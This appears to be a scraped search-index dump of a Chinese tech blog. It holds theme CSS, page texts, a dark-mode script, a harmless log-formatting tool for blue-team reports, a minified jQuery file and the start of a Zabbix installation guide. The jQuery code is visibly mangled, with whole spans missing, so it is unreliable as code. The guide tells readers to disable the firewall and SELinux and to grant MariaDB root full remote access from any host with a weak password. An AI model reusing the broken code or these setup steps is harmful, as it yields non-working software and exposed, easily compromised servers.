--theme-bg1: #14353d; --theme-bg2: #222d2f; --theme-border: #1f4f5c; --text-p0: #b3efff; --text-p1: #9fd2df; --text-p2: #7ed9f1; } #Dark .tag-plugin[color='blue'] { --theme: #2196f3; --theme-bg1: #142b3d; --theme-bg2: #222a2f; --theme-border: #1f415c; --text-p0: #b3ddff; --text-p1: #9fc3df; --text-p2: #7ebef1; } #Dark .tag-plugin[color='purple'] { --theme: #9c27b0; --theme-bg1: #37143d; --theme-bg2: #2d222f; --theme-border: #531f5c; --text-p0: #f4b3ff; --text-p1: #d69fdf; --text-p2: #e07ef1; } #Dark .tag-plugin[color='light'] { --theme-border: #fff; --theme-bg1: #e0e0e0; --theme-bg2: #fff; --text-p0: #000; --text-p1: #111; --text-p2: #1f1f1f; --text-p3: #555; --text-code: #fff; } #Dark .tag-plugin[color='dark'] { --theme-border: #000; --theme-bg1: #1f1f1f; --theme-bg2: #111; --text-p0: #fff; --text-p1: #fff; --text-p2: #e0e0e0; --text-p3: #ddd; --text-code: #fff; } #Dark .tag-plugin[color='warning'], #Dark .tag-plugin[color='light'] { --text-p0: #000; --text-p1: #111; --text-p2: #1f1f1f; --text-p3: #555; --text-code: #fff; } #Dark .tag-plugin { --theme: var(--text-p1); --theme-border: var(--block-border); --theme-block: var(--block); --theme-codeblock: var(--block); } #Dark .social-wrap a.social:hover { box-shadow: none; } #Dark .widget-wrapper.timeline .tag-plugin.timeline .timenode .header p { color: var(--text-p2); } #Dark .widget-wrapper.timeline .tag-plugin.timeline .timenode .body { border-radius: 12px; background: var(--alpha50); box-shadow: none; } #Dark a.button.start.gradient { transition: 0.38s ease-out; position: relative; z-index: 0; background: linear-gradient(to right, #4c95fa, #38c9fa, #24f9c4, #24f9c4, #38c9fa, #4c95fa); background-size: 1000%; color: #fff; text-shadow: 0 0 1px rgba(0,0,0,0.12); animation: glow 60s linear infinite; } #Dark .wl-comment.input, #Dark .wl-comment.output{ background-color:#26292c; border-radius:0.75em; border: 1px solid transparent; } /* waline评论样式 */ #Dark .wl-count{ padding: .375em; font-weight: bold; font-size: 1.25em; color: #fff; } #Dark .cmt-body.waline{ --waline-white: #000; --waline-light-grey: #666; --waline-dark-grey: #999; /* 布局颜色 */ --waline-color: #fff; --waline-bgcolor: var(--block); --waline-bgcolor-light: #272727; --waline-border-color: #333; --waline-disable-bgcolor: #444; --waline-disable-color: #272727; /* 特殊颜色 */ --waline-bq-color: #272727; /* 其他颜色 */ --waline-info-bgcolor: #272727; --waline-info-color: #666; } #Dark .wl-user-name { color: #999; } /* 不是ai制作标识 */ #Dark #notbyai { content: url(\"/assets/website/Written-By-Human-black.png\"); }"},{"path":"/css/override.css","content":".page-footer .text p { text-align: center; }"},{"path":"/comments/index.html","content":"留言板   你可以在这里留盐,我会找到你的,放心大胆发言,欢迎再来关顾我的小站,就怕一段时间我又消失了,请来提醒我。  当然,你可以给我提出一些更好的意见,也可以提携我走入行业深处,教会我更多编程、历史、小说、游戏等方面的知识,因为我还是个超级小白。  最后,愿来者都能有所收获!"},{"title":"友链","path":"/friends/index.html","content":"自是因缘而来…… 我的朋友 申请友链   和我建立的友链关系,我会经常关顾您的站点.当你满足下面的条件,你可以直接申请友链,我会及时回应你的请求.  不满足,你也可以先申请上,规矩并没有那么死.假如你的站点变成了一个僵尸站(一年以上没有动态也没有文章)或无法正常访问,我会暂时下架你的网站链接,我并不会嫌麻烦.当您的站点恢复时留言即可!  最后我希望通过博文的形式丰富自己的学习内容,在一个偏向于技术的圈子里学到更多! 大陆内能够正常访问. 有实质性原创内容的 HTTPS 站点. 合法的、非营利性、无商业广告、无木马植入. 发布过至少 10 篇原创文章,内容题材:计算机相关. 与 博主 有至少 3 次有效互动(有内容的留言或者 issue 等). 我已满足全部条件,快告诉我如何交换友链!第一步:新建Issue新建 Github Issue按照模板格式填写并提交.为了实现正常预览和提高预览速度,你需要检查提供的图片链接能正常访问,且优化图片大小第二步:添加友链等待我的审核12345"title": "SafeKiller_Zone","url": "https://jiangjiyue.github.io/","avatar": "https://wordpress-1258894728.cos.ap-beijing.myqcloud.com/202401260729165.jpg","screenshot": "https://wordpress-1258894728.cos.ap-beijing.myqcloud.com/202402061901753.png","description": "深入网络安全策略与渗透技巧,附简明Linux及Nginx运维实践,助力构建坚实防线."待管理员审核通过,添加了 active 标签后,回来刷新即可生效.同时请将本站添加到你的友链中:如果您需要更新自己的友链,请直接修改 issue 内容,大约 3 分钟内生效,无需等待博客更新. 关于交友   我认为,建立和维持健康的人际关系,需遵循以下原则:    1. 保持诚信和透明度,坦诚相见.    2. 尊重个体差异,理解每个人都有独特的价值.    3. 倾听比说更重要,了解他人需求.    4. 互相支持,特别是在对方需要帮助时.    5. 共同成长,勇于面对挑战和解决冲突.    6. 庆祝成功,共享快乐时光.    7. 维持适当界限,以保护个人隐私和空间."},{"path":"/js/darkmode.js","content":"/** * 监听系统主题 * @type {MediaQueryList} */ var OSTheme = window.matchMedia('(prefers-color-scheme: dark)'); OSTheme.addListener(e => { if (window.localStorage.getItem('Theme_Mode') === 'auto') { ThemeChange('auto'); } }) /** * 自动模式 6:00-18:00-Light 18:00-6:00-Dark,开启后每三十分钟检查一次 */ const AutoMode = (htmlElement) => { var date = new Date(); var hours = date.getHours(); if (hours < 18 && hours >= 6) { document.querySelector(\"html\").id = \"Light\"; } else { document.querySelector(\"html\").id = \"Dark\"; } // if (htmlElement.id === \"Light\") { // 闪瞎你的眼模式(速度快一点的话) // htmlElement.id = \"Dark\"; // } else { htmlElement.id = \"Light\"; } } let autoTimer; /** * 修改博客主题 * @param theme 亮为light,暗为dark,自动为auto * @constructor */ const ThemeChange = (theme) => { // 清除计时器 clearInterval(autoTimer); // 抽取元素 const htmlElement = document.querySelector(\"html\"); let themeBtnIcon; try { themeBtnIcon = document.querySelector(\"#start > aside > div > footer > div > a:last-child > i\") } catch { // 元素不存在 } if (theme === 'light' || (theme === 'auto' && !OSTheme.matches)) { htmlElement.id = \"Light\"; if (themeBtnIcon) { themeBtnIcon.className = 'fa-solid fa-sun fa-spin fa-spin-reverse'; } } else { htmlElement.id = \"Dark\"; if (themeBtnIcon) { themeBtnIcon.className = 'fa-solid fa-moon fa-fade'; } } if (theme === 'auto') { if (themeBtnIcon) { themeBtnIcon.className = 'fa-solid fa-circle-half-stroke fa-flip'; } AutoMode(htmlElement); autoTimer = setInterval(function () { AutoMode(htmlElement); }, 1000 * 60 * 30); // 半小时一次 } window.localStorage.setItem('Theme_Mode', theme); } /** * 初始化博客主题 */ switch (window.localStorage.getItem('Theme_Mode')) { case 'light': ThemeChange('light'); break; case 'dark': ThemeChange('dark'); break; default: ThemeChange('auto'); } /** * 切换主题模式 */ // 绑定按钮点击事件 try { document.querySelector(\"#start > aside > div > footer > div > a:last-child\").onclick = () => { if (window.localStorage.getItem('Theme_Mode') === 'auto') { hud.toast('🌞白天模式'); ThemeChange('light'); } else if (window.localStorage.getItem('Theme_Mode') === 'light') { hud.toast('🌙 夜间模式'); ThemeChange('dark'); } else { hud.toast('🌞/🌙 自动模式'); ThemeChange('auto'); } } } catch { // 元素不存在 }"},{"title":"蓝队小工具-Kill3r","path":"/tools/index.html","content":"正则匹配周报其他功能取值按钮组转义按钮组匹配按钮组 取IP 取端口 取纯数字 取非空白 取所有字符 < > ( ) [ ] { } - : ; ' \" , . / 所有字符 空白 多空白 多非空白 多字母 多非字母 多数字 多非数字 日期JSON转换 地区聚合 字符格式化 IP去重 IP格式化 推荐直接把原始日志复制到文本框采用选中替换方式比较方便。"},{"path":"/tools/jquery-3.1.1.min.js","content":"/*! jQuery v3.1.1 | (c) jQuery Foundation | jquery.org/license */ !function(a,b){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error(\"jQuery requires a window with a document\");return b(a)}:b(a)}(\"undefined\"!=typeof window?window:this,function(a,b){\"use strict\";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement(\"script\");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q=\"3.1.1\",r=function(a,b){return new r.fn.init(a,b)},s=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a1?(c=[a,a,\"\",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,\"$1\"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||\"\")||ga.error(\"unsupported lang: \"+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute(\"xml:lang\")||b.getAttribute(\"lang\"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+\"-\");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&!!a.checked||\"option\"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=\":not(\"+a+\")\"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if(\"string\"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b]*|#([\\w-]+))$/,G=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||E,\"string\"==typeof a){if(e=\"\"===a[a.length-1]&&a.length>=3?[null,a,null]:F.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),B.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};G.prototype=r.fn,E=r(d);var H=/^(?:parents|prev(?:Until|All))/,I={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a1&&(I[a]||r.uniqueSort(e),H.test(a)&&e.reverse()),this.pushStack(e)}});var K=/[^\\x20\\t\\r \\f]+/g;function L(a){var b={};return r.each(a.match(K)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a=\"string\"==typeof a?L(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c=\"\",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=\"\"),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function M(a){return a}function N(a){throw a}function O(a,b,c){var d;try{a&&r.isFunction(d=a.promise)?d.call(a).done(b).fail(c):a&&r.isFunction(d=a.then)?d.call(a,b,c):b.call(void 0,a)}catch(a){c.call(void 0,a)}}r.extend({Deferred:function(b){var c=[[\"notify\",\"progress\",r.Callbacks(\"memory\"),r.Callbacks(\"memory\"),2],[\"resolve\",\"done\",r.Callbacks(\"once memory\"),r.Callbacks(\"once memory\"),0,\"resolved\"],[\"reject\",\"fail\",r.Callbacks(\"once memory\"),r.Callbacks(\"once memory\"),1,\"rejected\"]],d=\"pending\",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},\"catch\":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+\"With\"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==N&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:M,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:M)),c[2][3].add(g(0,a,r.isFunction(d)?d:N))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+\"With\"](this===f?void 0:this,arguments),this},f[b[0]+\"With\"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b0||Q.resolveWith(d,[r]))}}),r.ready.then=Q.then;function R(){d.removeEventListener(\"DOMContentLoaded\",R), a.removeEventListener(\"load\",R),r.ready()}\"complete\"===d.readyState||\"loading\"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener(\"DOMContentLoaded\",R),a.addEventListener(\"load\",R));var S=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if(\"object\"===r.type(c)){e=!0;for(h in c)S(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){W.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||\"fx\")+\"queue\",d=V.get(a,b),c&&(!d||r.isArray(c)?d=V.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||\"fx\";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};\"inprogress\"===e&&(e=c.shift(),d--),e&&(\"fx\"===b&&c.unshift(\"inprogress\"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+\"queueHooks\";return V.get(a,c)||V.access(a,c,{empty:r.Callbacks(\"once memory\").add(function(){V.remove(a,[b+\"queue\",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return\"string\"!=typeof a&&(b=a,a=\"fx\",c--),arguments.length"},{"path":"/notes/index.html","content":"随记随记 @tianhao_wang@eberhard@eberhard@eberhard@eberhard@vklemen"},{"path":"/tools/script.js","content":"function removeDuplicates() { // 从 input框 获取内容 var input = document.getElementsByClassName('input')[0]; var output = document.getElementsByClassName('output')[0]; var content = input.value.trim(); // 移除内容前后的空白 // 假设内容为逐行分隔的值,先将其分割成数组,并移除空行 var contentArray = content.split(' ').filter(item => item.trim() !== ''); // 移除非IP行,使用正则表达式匹配标准的IPv4地址 var ipRegex = /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/; var validContentArray = contentArray.filter(item => ipRegex.test(item)); // 计算去重前的数据量 var beforeCount = validContentArray.length; // 使用 Set 去除数组中的重复项 var uniqueContentArray = [...new Set(validContentArray)]; // 计算去重后的数据量 var afterCount = uniqueContentArray.length; // 计算去重的数据量 var removedCount = beforeCount - afterCount; // 生成更新信息 var updateInfo = `去重前的数据量: ${beforeCount} 去重后的数据量: ${afterCount} 去重的数据量: ${removedCount} `; // 将去重后的数组内容再次转换为逐行分隔的字符串 var uniqueContent = uniqueContentArray.join(' '); // 更新 output 的内容,加上去重信息 output.value = updateInfo + uniqueContent; } function sumOccurrencesByCountry() { const countryList = [ '阿富汗', '阿尔巴尼亚', '阿尔及利亚', '安道尔', '安哥拉', '安提瓜和巴布达', '阿根廷', '亚美尼亚', '澳大利亚', '奥地利', '阿塞拜疆', '巴哈马', '巴林', '孟加拉国', '巴巴多斯', '白俄罗斯', '比利时', '伯利兹', '贝宁', '不丹', '玻利维亚', '波黑', '博茨瓦纳', '巴西', '文莱', '保加利亚', '布基纳法索', '布隆迪', '柬埔寨', '喀麦隆', '加拿大', '佛得角', '中非', '乍得', '智利', '中国', '哥伦比亚', '科摩罗', '刚果(布)', '刚果(金)', '哥斯达黎加', '克罗地亚', '古巴', '塞浦路斯', '捷克', '丹麦', '吉布提', '多米尼克', '多米尼加', '东帝汶', '厄瓜多尔', '埃及', '萨尔瓦多', '赤道几内亚', '厄立特里亚', '爱沙尼亚', '斯威士兰', '埃塞俄比亚', '斐济', '芬兰', '法国', '加蓬', '冈比亚', '格鲁吉亚', '德国', '加纳', '希腊', '格林纳达', '危地马拉', '几内亚', '几内亚比绍', '圭亚那', '海地', '洪都拉斯', '匈牙利', '冰岛', '印度', '印度尼西亚', '伊朗', '伊拉克', '爱尔兰', '以色列', '意大利', '牙买加', '日本', '约旦', '哈萨克斯坦', '肯尼亚', '基里巴斯', '韩国', '科威特', '吉尔吉斯斯坦', '老挝', '拉脱维亚', '黎巴嫩', '莱索托', '利比里亚', '利比亚', '列支敦士登', '立陶宛', '卢森堡', '马达加斯加', '马拉维', '马来西亚', '马尔代夫', '马里', '马耳他', '马绍尔群岛', '毛里塔尼亚', '毛里求斯', '墨西哥', '密克罗尼西亚', '摩尔多瓦', '摩纳哥', '蒙古', '黑山', '摩洛哥', '莫桑比克', '缅甸', '纳米比亚', '瑙鲁', '尼泊尔', '荷兰', '新西兰', '尼加拉瓜', '尼日尔', '尼日利亚', '北马其顿', '挪威', '阿曼', '巴基斯坦', '帕劳', '巴勒斯坦', '巴拿马', '巴布亚新几内亚', '巴拉圭', '秘鲁', '菲律宾', '波兰', '葡萄牙', '卡塔尔', '罗马尼亚', '俄罗斯', '卢旺达', '圣基茨和尼维斯', '圣卢西亚', '圣文森特和格林纳丁斯', '萨摩亚', '圣马力诺', '圣多美和普林西比', '沙特阿拉伯', '塞内加尔', '塞尔维亚', '塞舌尔', '塞拉利昂', '新加坡', '斯洛伐克', '斯洛文尼亚', '所罗门群岛', '索马里', '南非', '南苏丹', '西班牙', '斯里兰卡', '苏丹', '苏里南', '瑞典', '瑞士', '叙利亚', '塔吉克斯坦', '坦桑尼亚', '泰国', '多哥', '汤加', '特立尼达和多巴哥', '突尼斯', '土耳其', '土库曼斯坦', '图瓦卢', '乌干达', '乌克兰', '阿联酋', '英国', '美国', '乌拉圭', '乌兹别克斯坦', '瓦努阿图', '梵蒂冈', '委内瑞拉', '越南', '也门', '赞比亚', '津巴布韦', '亚太地区', '欧盟' ]; const countryOccurrences = {}; // 获取输入文本框 var input = document.getElementsByClassName('input')[0]; // 处理输入内容 var content = input.value.trim(); var lines = content.split(' ').map(item => item.trim()); // 将输入文本按行分割并移除每行前后的空白 lines = lines.filter(line => line !== ''); // 去除空行 lines.shift(); // 删除第一行 // 遍历每行数据 lines.forEach(line => { var matchingCountry = countryList.find(country => line.includes(country)); // 在国家列表中查找与国家名称匹配的国家 if (matchingCountry) { if (!countryOccurrences[matchingCountry]) { countryOccurrences[matchingCountry] = 0; } countryOccurrences[matchingCountry]++; // 统计国家出现的次数 } else { // 如果没有匹配到任何国家,那么将其归类到'其他' var otherKey = '其他'; if (!countryOccurrences[otherKey]) { countryOccurrences[otherKey] = 0; } countryOccurrences[otherKey]++; } }); // 将结果转换成字符串形式并显示 var output = Object.entries(countryOccurrences) .sort((a, b) => b[1] - a[1]) // 按出现次数降序排序 .map(([country, count]) => `${country}\\t${count}`) .join(' '); // 获取输出文本框并将结果赋值 var resultOutput = document.getElementsByClassName('output')[0]; resultOutput.value = output; } function formatThreats() { var input = document.getElementsByClassName('input')[0]; var output = document.getElementsByClassName('output')[0]; // 分割输入成单行 var content = input.value.trim(); // 移除内容前后的空白 var lines = content.split(' ').map(item => item.trim()); // 移除每个元素前后的空白 lines = lines.filter(line => line !== ''); // 去除空行 console.log(lines) // 将每行数据转换为描述文本 var descriptions = lines.map((line, index) => { // 分割行为事件和次数 var parts = line.split('\\t'); var threat = parts[0].trim(); var count = parseInt(parts[1], 10); // 格式化描述,最后一个事件后面不加顿号 return `${threat} ${count}次${index < lines.length - 1 ? '、' : ''}`; }); // 移除最后一个顿号 var result = descriptions.join(''); if (result.endsWith('、')) { result = result.slice(0, -1); } output.value = result; // 将结果输出到输出框 } function parseIpAndOutput() { var input = document.getElementsByClassName('input')[0]; var output = document.getElementsByClassName('output')[0]; // 定义输出文本区域 var outputText = ''; // 分割输入文本为多行 var lines = input.value.split(' '); // 遍历每一行 lines.forEach(function (line) { // 使用正则表达式匹配IP地址和端口号 var match = line.match(/([\\d.]+)\\s+(\\d+)/); if (match) { // 获取IP地址和端口号 var ip = match[1]; var port = match[2]; // 格式化为'IP:端口'的形式 var result = ip + ':' + port; // 添加到输出文本 outputText += result + ' '; } }); // 将结果写入输出文本区域 output.value = outputText; } function generateTable() { var input = document.getElementsByClassName('input')[0]; var output = document.getElementsByClassName('output')[0]; // 解析JSON数据 var jsonData = JSON.parse(input.value); // 获取日期数据 var dates = jsonData.data.dataName; // 获取外部攻击数据 var externalAttacks = jsonData.data.dataValue[0].value; // 获取入侵主机数据 var intrusionHosts = jsonData.data.dataValue[1].value; // 创建表格头部 var table = \"时间\\t外部攻击\\t入侵主机 \"; // 遍历日期数据并生成表格内容 for (var i = 0; i < dates.length; i++) { var row = dates[i] + \"\\t\" + externalAttacks[i] + \"\\t\" + intrusionHosts[i] + \" \"; table += row; } output.value = table; } $(document).ready(function () { // 使用事件委托简化代码 $('.button-group').on('click', 'button.insert-btn', function () { var pattern = $(this).data('pattern'); insertText(pattern); }); // 将插入文本的逻辑抽象到一个函数中 function insertText(text) { var textarea = $('.output')[0]; // 选择第一个匹配的textarea元素 // 标准浏览器及IE9+ if (textarea.selectionStart || textarea.selectionStart === '0') { var startPos = textarea.selectionStart; var endPos = textarea.selectionEnd; textarea.value = textarea.value.substring(0, startPos) + text + textarea.value.substring(endPos, textarea.value.length); textarea.focus(); textarea.selectionStart = startPos + text.length; textarea.selectionEnd = startPos + text.length; // IE8及以下 } else if (document.selection) { textarea.focus(); var sel = document.selection.createRange(); sel.text = text; textarea.focus(); } else { textarea.value += text; textarea.focus(); } } // 绑定测试匹配按钮的点击事件 $('.parseIpAndOutput').click(parseIpAndOutput); // 周报 $('.generateTable').click(generateTable); $('.sumOccurrencesByCountry').click(sumOccurrencesByCountry); $('.formatThreats').click(formatThreats); $('.removeDuplicates').click(removeDuplicates); });"},{"path":"/tools/style.css","content":"/* 按钮组样式 */ .button-group { margin-bottom: 20px; } button { background-color: #008CBA; /* 按钮背景颜色 */ color: white; /* 文字颜色 */ padding: 10px 15px; /* 内边距 */ border: none; /* 去除边框 */ border-radius: 5px; /* 圆角边框 */ cursor: pointer; /* 鼠标悬停时的光标形状 */ font-size: 16px; /* 文字大小 */ margin: 5px; /* 外边距 */ transition: background 0.3s; /* 过渡效果 */ } button:hover { background-color: #005f73; /* 按钮悬停时的背景颜色 */ } /* 文本域样式 */ .output, .input { width: calc(100% - 40px); /* 宽度为100%,减去padding */ margin-bottom: 20px; padding: 10px; /* 内边距 */ border: 1px solid #ddd; /* 边框 */ border-radius: 5px; /* 圆角边框 */ font-size: 16px; /* 字体大小 */ background-color: #fff; /* 背景颜色 */ resize: vertical; /* 只允许垂直缩放 */ } .output[contenteditable=\"true\"], .input[contenteditable=\"true\"] { height: 200px; /* 设置高度 */ overflow-y: scroll; /* 添加滚动条 */ outline: none; /* 移除焦点时的边框 */ -webkit-user-modify: read-write; /* 允许编辑 */ }"},{"title":"朋友文章","path":"/friends/rss/index.html","content":""},{"title":"一. Zabbix快速入门","path":"/wiki/MonitoringTechDocs/一. Zabbix快速入门.html","content":"总字符数: 5.33K 代码: 4.72K, 文本: 0.18K 预计阅读时间: 21 分钟 准备工作工作目录/opt1cd /opt 关闭防火墙1234# 关闭防火墙systemctl stop firewalld.service# 禁止开机自启systemctl disable firewalld.service 关闭selinux1234# 打开selinux的配置文件vim /etc/selinux/config# 将第7行的enforcing改为disabledSELINUX=disabled Yum清华源123456sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \\ -e 's|^#baseurl=http://mirror.centos.org/centos|baseurl=https://mirrors.tuna.tsinghua.edu.cn/centos|g' \\ -i.bak \\ /etc/yum.repos.d/CentOS-*.repo# 生成缓存sudo yum makecache 下载依赖环境1yum install -y deltarpm gcc gcc-c++ unixODBC-devel httpd mysql-devel libcurl libcurl-devel libevent libevent-devel curl-devel libxml2 libxml2-devel net-snmp-devel pcre-devel java-devel openssl-devel perl-ExtUtils-Embed at python subversion gperf make rpm-build git bzip2-devel gd gd-devel t1lib t1lib-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel libpcap-devel glib2-devel GeoIP-devel vim wget git libtool make automake mlocate pam-devel unzip screen openssl iptables-services bash-completion* libxslt* curl net-tools libssh2-devel 准备LNMP本博客其他文章有讲到(那篇文章是很久以前写的,现在版本的zabbix对mysql有要求,这里补充以下mysql的安装方法) 安装Mariadb添加阿里云源vim /etc/yum.repos.d/MariaDB.repo 12345678#内容如下# MariaDB 10.1 CentOS repository list - created 2017-02-23 08:53 UTC# http://downloads.mariadb.org/mariadb/repositories/[mariadb]name = MariaDBbaseurl = http://yum.mariadb.org/10.8/centos7-amd64gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDBgpgcheck=1 下载mariadbyum install -y MariaDB-server MariaDB-client 12345678910111213#启动 Mariadbsystemctl start mariadb#设为开机自启systemctl enable mariadb#Mariadb 初始化mysql -urootuse mysqlgrant all privileges on *.* to 'root'@'%' identified by '123456qwer';# mysql rootzabbix为:123456qwerdelete from mysql.user where User='';FLUSH PRIVILEGES;# 重启数据库systemctl restart mariadb 安装Zabbixhttps://www.zabbix.com/downloadhttps://www.zabbix.com/download 下载zabbix-server123456789101112131415161718192021222324252627# 进入到opt目录cd /opt# 下载二进制包wget https://cdn.zabbix.com/zabbix/sources/stable/6.4/zabbix-6.4.5.tar.gz# 解压tar -zxvf zabbix-6.4.5.tar.gz# 进入到zabbix目录cd zabbix-6.4.5/# 编译安装./configure --prefix=/usr/local/zabbix/zabbix-server --enable-server --enable-agent --with-mysql --with-net-snmp --with-libcurl --with-libxml2 --with-unixodbc --enable-java && make CFLAGS=-std=gnu99 && make install# 参数说明--prefix #编译安装路径--enable-server #启动server端--enable-agent #启动agent端--with-mysql #编译连接mysql相关依赖包--with-net-snmp #启动snmp相关,用于snmp监控设备--with-libcurl #启动curl相关--with-libxml2 #启动xml相关--with-unixodbc #启动odbc相关用于监控数据库--enable-java #启动java-agent 用于监控java类# 设置环境变量vim /etc/profileexport PATH=$PATH:/usr/local/zabbix/zabbix-server/sbin/:/usr/local/zabbix/zabbix-server/bin/source /etc/profile 创建zabbix数据库123456789101112131415161718192021222324-- mariadbmysql -uroot -p-- 创建用户-- CREATE USER '用户名'@'localhost' IDENTIFIED BY '密码';CREATE USER 'zabbix'@'localhost' IDENTIFIED BY 'zabbix';-- 创建数据库zabbix-- CREATE DATABASE `数据库名` CHARACTER SET utf8 COLLATE utf8_bin;CREATE DATABASE `zabbix` CHARACTER SET utf8 COLLATE utf8_bin;-- 赋予权限-- grant all privileges on 数据库名.*to 用户名@'localhost' identified by '密码';grant all privileges on zabbix.*to zabbix@'localhost' identified by 'zabbix';-- 刷新权限flush privileges;-- 设置编码set names utf8;exit-- 创建完导入zabbix 初始化数据-- 如果databases下面的*.sql有缺失,可以重新解压mysql -uzabbix -pzabbix zabbix < /opt/zabbix-6.4.5/database/mysql/schema.sql -- 表结构mysql -uzabbix -pzabbix zabbix < /opt/zabbix-6.4.5/database/mysql/images.sql -- 图片相关数据mysql -uzabbix -pzabbix zabbix < /opt/zabbix-6.4.5/database/mysql/data.sql -- 模版相关数据 Centos准备1234567891011121314151617181920212223242526272829303132# 